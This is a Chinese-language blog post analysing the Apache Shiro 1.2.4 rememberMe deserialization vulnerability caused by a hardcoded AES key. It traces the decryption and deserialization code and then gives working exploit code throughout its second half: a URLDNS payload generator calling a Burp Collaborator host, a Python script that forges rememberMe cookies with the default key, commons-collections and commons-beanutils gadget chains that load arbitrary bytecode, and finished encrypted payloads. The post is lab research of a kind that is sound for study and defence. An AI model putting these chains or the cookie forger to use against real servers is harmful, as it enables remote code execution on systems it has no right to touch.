Apache Shiro Java 反序列化漏洞分析

Shiro概述

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。目前在Java web应用安全框架中,最热门的产品有Spring Security和Shiro,二者在核心功能上几乎差不多,但Shiro更加轻量级,使用简单、上手更快、学习成本低,所以Shiro的使用量一直高于Spring Security。产品用户量之高,一旦爆发漏洞波及范围相当广泛,研究相关漏洞是很有必要的。

环境搭建

首先,需要获取 Apache Shiro 存在漏洞的源代码,具体操作如下:

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd ./shiro/samples/web

为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml 文件,添加如下行:

<properties>
    <maven.compiler.source>1.6</maven.compiler.source>
    <maven.compiler.target>1.6</maven.compiler.target>
</properties>

<dependencies>
    <dependency>
        <groupId>javax.servlet</groupId>
        <artifactId>jstl</artifactId>
        <!--  这里需要将jstl设置为1.2 -->
        <version>1.2</version>
        <scope>runtime</scope>
    </dependency>
</dependencies>

在IDEA中导入mvn项目,并配置tomcat环境

image-20220403101458771

漏洞分析

首先我们可以了解到Shro Java 反序列化漏洞存在几个重要的点

  • rememberMe cookie
  • CookieRememberMeManager.java
  • Base64
  • AES
  • 加密密钥硬编码
  • Java serialization

首先我们使用burp抓取登录的请求包可以看到,在登录的响应包的Cookie中有一个叫rememberMe的字段,并且在之后的访问的Cookie中都带着这个字段

image-20220403192840393

image-20220403193012804

一般来说Cookie都不会太长,这种很长的话一般来说就代表着它保存了一些关键信息,这些信息一般来说也就是会经过一些序列化、反序列化或者加密的处理,我们根据代码分析一下它加密的流程,首先容易看出这用了base64编码

然后我们可以根据名字在shiro包中找到一个叫CookieRememberMeManager的类,看名字来说这多半就和Cookie中的rememberMe的字段有关,事实也是如此,我们可以找到两个函数rememberSerializedIdentitygetRememberedSerializedIdentity,根据名字可以看出一个执行序列化操作,一个执行反序列化操作,这里我们先重点看一下反序列化操作的这个函数getRememberedSerializedIdentity

image-20220403211507719

先获取requestresponse,然后从中getCookie,接着进行base64解码,然后再解密,这里我们就再查看getRememberedSerializedIdentity的调用函数,因为在调用函数里获取了base64解码后的数据嘛,然后能发现是在getRememberedSerializedIdentity的父类AbstractRememberMeManager中调用的

image-20220403213600851

image-20220403213637034

并且可以发现在获取到数据之后,就又进入到了一个convertBytesToPrincipals函数,跟进函数,可以看到做了两步操作,第一步是解密,第二步是反序列化,然后我们就能了解到在最后进行了一个反序列化的操作,但是数据是进行加密过的,所以肯定是要先进行解密

image-20220403213900984

我们先看下他的解密操作

image-20220403214454615

首先是获取了密钥服务,然后进行解密,再次跟进

image-20220403214706149

这是一个接口,传参传了一个加密字段和一个key,基本上能判断出这是一个对称加密,然后我们重点先看下它传的key,根据之前的一步操作可以看到key是通过getDecryptionCipherKey()函数获取的,跟进函数

image-20220403223734444

image-20220403223743865

可以发现这是一个常量,然后我们看一下这是在哪里赋值的

image-20220403224036865

我们主要看Value write的地方,可以发现是在setDecryptionCipherKey中进行赋值的,继续查看setDecryptionCipherKey的调用

image-20220403224300842

image-20220403224309884

然后再查看setCipherKey的调用

image-20220403224435339

在这里就能看到常量了

image-20220403224515369

能看到这是一个固定的值,也就是说这用的是一个固定的key进行的加密,然后在上面我们可以看到这里使用的AES的加密方式

然后继续回到它的解密操作

image-20220404093505183

进入解密函数

image-20220404093537799

image-20220404093608495

经过分析我们可以得知解密的流程中首先获取了iv的初始化长度,然后从数据文本中获取了前iv长度的数据就是iv的数据,然后剩下的部分则是加密数据,意思也就是说iv直接就拼接在加密数据之前,然后整体做了一次base64的编码,所以感觉iv使用了但是有没完全使用的感觉

然后我们在进入convertBytesToPrincipals函数的反序列化函数deserialize

image-20220403225311235

image-20220403225328486

image-20220403225516455

然后我们可以发现这里实际上调用了一个原生的反序列化操作,这里的话我们就可以通过依赖进行反序列化漏洞利用

然后基本上就能分析出基本的利用流程

构造一个序列化的payload --> AES加密 --> baes64编码 --> 走到正常流程里面,想办法调用序列化

漏洞利用

URLDNS利用链

先用jdk自带的URLDNS链验证一下

利用链分析

首先burp起一个监听

image-20220403230805518

生成URLDNS利用链序列化payload

public class URLDNS {
    public static void main(String[] args) throws Exception{
        HashMap<Object, Object> hashMap = new HashMap<>();
        URL url = new URL("http://p7x0wlxv1b78hwch1af6h7zt3k9axz.burpcollaborator.net");

        Class<? extends URL> c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url,1234);
        hashMap.put(url,1);

        hashCodeField.set(url,-1);
        serialize(hashMap);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}

编写EXP脚本

然后根据之前分析出的解密流程反推加密流程,编写EXP脚本,得到rememberMe加密数据

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - -len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    # plaintext =bytes.decode(plaintext)
    plaintext = unpad(plaintext)


if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))
    
#b'6/g1epheRi2z/LlZq56NM08ofzYtWKr9iPRksiHrEkPJ4BF8cXmf/dXbo+Vf4vHL+PamFQ4QligxuQFDGFVhNKM9laB/7bWQKpZjzIFUQwaSYaby3s8M4SSZTrdZKtlrM7TlheMcH2+rRJIjPUYfFGhAcZEbiq0x1nqyWmyN4xzAcxQLxPY+oaNLWhUF1AZAj5ycmeXhjMMwxXuge7JKKQPQ386IwGnZ15CROtNaq48wdNtlSlFsUw9dehI8ApwDAz44t03/iusofq+2BdFRf+hBN6xDEBFhfWGQl+Rf2HZAeB8dMINvgdJkUHAEPCD+JR/f0ppZjng+eK2nj0VsEX8B7WbWiMC1xZWnTt1wAE9Is09WMO5he/DgmUrQIkS41u2GIZOl9RHwwIwWKmcsfjz9iRay9HrluZan3QiGRoFBkymlxxYEqocEJNvTGQ0g+DMSyIRUC8dZnvJ3Fq4yORfZqa9IaL+1RjfTjd1tg4i51MPoTs7gEeP453dNWo0m///MMb4CWkTH40GUHxIFBw=='

然后替换rememberMe

image-20220404164729601

然后可以发现还是保持着我的root用户登录,但是实际上我已经替换掉了,应该是读取不到我的认证信息了,但是这还是保持这我的登录状态,这其实是因为在cookie中还有一个参数JSESSIONID,这也是用来做身份验证的,在代码逻辑中其实是有JSESSIONID的话就不会去读rememberMe,我们这里直接把JSESSIONID删除

image-20220404165256528

然后现在就是返回rememberMe=deleteMe,这个一般也就是用这个做的检测,然后我们的DNS请求也是收到了

image-20220404165531480

也就能说明这里执行了反序列化

具体的反序列流程和URLDNS利用链几乎一致

CC利用链

这里我们尝试使用commons-collections3.2.1的版本来进行测试

image-20220405213506294

利用链分析

先用CC1做测试反序列化-->AES-->base64编码

image-20220405095730432

可以发现报错了,经过分析可以得知是无法加载Transformer这个类的原因,然后在下面可以看到加载了三次,都没找到,因为其实shiro也不是用原生的readObject,调用的是ObjectInputStreamreadObject,用的是ClassResolvingObjectInputStream这么一个类,这里是自定义的一个对象输入流,跟进函数

image-20220405100853964

ClassResolvingObjectInputStream里面其实重写了一个resolveClass,然后在Java反序列化的是其实就是会调用resolveClass加载类

image-20220405101437606

跟原生的resolveClass对比可以发现其实都差不多,只是原生的调用了Class的forname进行类加载,然后ClassResolvingObjectInputStream是调用自己写得ClassUtils进行的类加载,然后进入ClassUtils

image-20220405101932597

然后可以发现这里其实调用的是loadclass进行类加载,然后调用了三次,这也就回应了之前三次的调用失败的三次次数

然后加载不到Transformer主要因为loadclass没有实现对数组类支持的逻辑,而forname实现,所以调用原生的类加载的时候不会报错

所以我们只要在利用链中不出现数组类就行了,其实也就是不要出现Transformer就行了,根据我们之前了解到的如果说我们走直接代码执行(Runtime.exec())这个执行点的话就必须要走InvokerTransformer的循环调用,也就肯定要走Transformer这个数组类,所以我们走代码执行,所以一般常规的都是使用的CC2那一条链,因为它没有使用Transformer,但是CC2中使用的TransformingComparator是commons-collections4的版本才有的,我们测试的这个版本是没有的,我们可以组合一下几条链

payload

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Shiro_CC {
    public static void main(String[] args) throws Exception{
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field nameField = aClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = aClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null,null);

        //CC6
        HashMap<Object, Object> map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove(templates);

        Class<LazyMap> c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,invokerTransformer);

        serialize(map2);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

其实也就是相当于用InvokerTransformer的newTransformer然后调用templates,从而绕过Transformer数组类,然后经由之前编写的EXP脚本进行加密

得到rememberMe

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

利用效果

image-20220406080429730

其实其他的链也可以改成不用Transformer数组类的形式

commons-beanutils利用链

之前的CC依赖是我们手动添加的,实际上shiro默认是没有CC依赖的,所以我们只能使用shiro默认的依赖,这里我们可以利用commons-beanutils,因为之后commons-beanutils里面有完整的反序列化漏洞利用链的

commons-beanutils

CC是对Java集合类的增强
CB是Apache提供的一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。

JavaBean是什么?

在Java中,有很多class的定义都符合这样的规范

  • 若干private实例字段;
  • 通过public方法来读写实例字段。
  • 命名要符合规范,符合骆驼式命名法,比如说属性名为abc,那么get方法为public Type getAbc()set方法为public void setAbc(Type value)

例如:

public class Person {

    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public int getAge(){
        return age;
    }
    public void setAge(int age){
        this.age = age;
    }
}

如果读写方法符合这种命名规范,那么这种class被称为JavaBean

写一个简单的demo来调用一下getName()

import org.apache.commons.beanutils.PropertyUtils;

public class BeanTest {
    public static void main(String[] args) throws Exception{
        Person person = new Person("Townamcro",21);
        System.out.println(person.getName());
    }
}

但是这样写有一个弊端,因为每一个都要用这种函数调用的方式,在Commons-Beanutils中提供了一种静态方法PropertyUtils#getProperty,可以让使用者直接调用到任意JavaBean对象中的getter方法,这样就能相对动态的去执行。

这个方法,直接传入一个对象,然后获取这个对象的一个属性值,就会自动的去调用getName()方法。

Person person = new Person("Townmacro", 21);
System.out.println(PropertyUtils.getProperty(person, "name"));
System.out.println(PropertyUtils.getProperty(person, "age"));

这也就提供了动态执行代码的点,可能会产生安全问题。

利用链分析

下个断点跟进调试一下

image-20220406194118432

这里调用了一个getProperty然后又调用了PropertyUtilsBean.getInstance().getProperty(bean, name)

image-20220406194244006

然后又调用了getNestedProperty,在PropertyUtilsBean中

image-20220406194337310

这里是首先进行了两次判断,判断两个参数是否非空,然后在最后又对bean的类型进行了判断,然后这里我们是进入了getSimpleProperty

image-20220406194914588

执行到后面调用了getPropertyDescriptor这是一个获取属性描述符的方法

image-20220406195102692

这里可以看到获取到了属性名和方法名,然后再向下执行,就执行到了一个反射调用

image-20220406195241601

跟进去看一下

image-20220406195325903

这个反射调用其实也很简单,就是对我们传递的对象执行一个符合JavaBean格式的方法

然后在这里我们在结合之前分析CC3利用链的时候的TemplatesImpl类中的getOutputProperties方法

image-20220406195905635

这里面调用了newTransformer,这是可以动态加载类的,然后后面的getOutputProperties也是一个符合JavaBean格式的写法,然后结合CC3和CC2进行代码编写

public class Shiro_CB {
    public static void main(String[] args) throws Exception{
        Person person = new Person("Townmacro", 21);
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field nameField = aClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = aClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        //CB
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        //CC2
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparatorField = c.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

然后利用生成的payload在加密进行测试发现执行失败,报错了,然后具体的报错原因是这个

image-20220406200631472

它说找不到commons.collections中的ComparableComparator,但是很奇怪的是我们并没有用到这个类,为什么会报找不到它呢?

其实这是CB在设计的过程中,很多就是和CC重叠的,我们看一下BeanComparator这个类

image-20220406201000611

然后就会发现,这里有两个构造函数,传一个参数的话就是走上面一个构造方法,在这里面就调用了ComparableComparator,然后我们在shiro的默认依赖中并没有CC依赖,所以就报错了,那我们就用第二个构造方法,第二个参数我们传一个CB或者JDK里面自带的comparator并且继承了Serializable反序列化结构的,这里我们使用的是AttrCompare

然后新的payload

public class Shiro_CB {
    public static void main(String[] args) throws Exception{
        Person person = new Person("Townmacro", 21);
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> aClass = templates.getClass();
        Field nameField = aClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = aClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);

        //CB
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        //CC2
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparatorField = c.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
        return ois.readObject();
    }
}

重新生成payload然后加密再进行测试

利用效果

image-20220406202008732

执行成功

posted @ 2022-04-06 21:06  Townmacro  阅读(270)  评论(0编辑  收藏  举报